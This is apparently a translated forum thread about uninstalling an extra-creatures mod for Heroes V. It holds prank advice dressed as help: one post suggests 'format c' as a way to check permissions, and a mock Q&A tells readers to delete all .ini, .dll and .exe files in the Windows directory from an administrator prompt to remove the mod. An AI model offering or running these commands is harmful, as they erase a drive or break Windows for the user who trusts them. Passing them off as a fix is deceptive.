I agree, it’s very suspicious... Maybe they are counting on the fact that Windows files don't have enough permissions to be deleted? But still, it's strange. We need a batch file with clear commands specifying which files to delete from where; we don't need these masks...
If the default account is set as an administrative monopoly (there are builds that activate such rights by default), then you can easily damage Windows. You can check the permission level using - format c :smile13:
Added after 3 hours and 32 minutes
Question:
Can I remove the modification without reinstalling the game?
Answer:
Yes, run the command line as administrator and enter the following lines one at a time (press Enter after each line):
C:
cd %windir%
del *.ini
del *dll
del *.exe
It's a good method, but there are many steps involved. It’s better to do it as described here HERE :smile44:

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NCF - мод, добавляющий дополнительных существ в HeroesV 3.1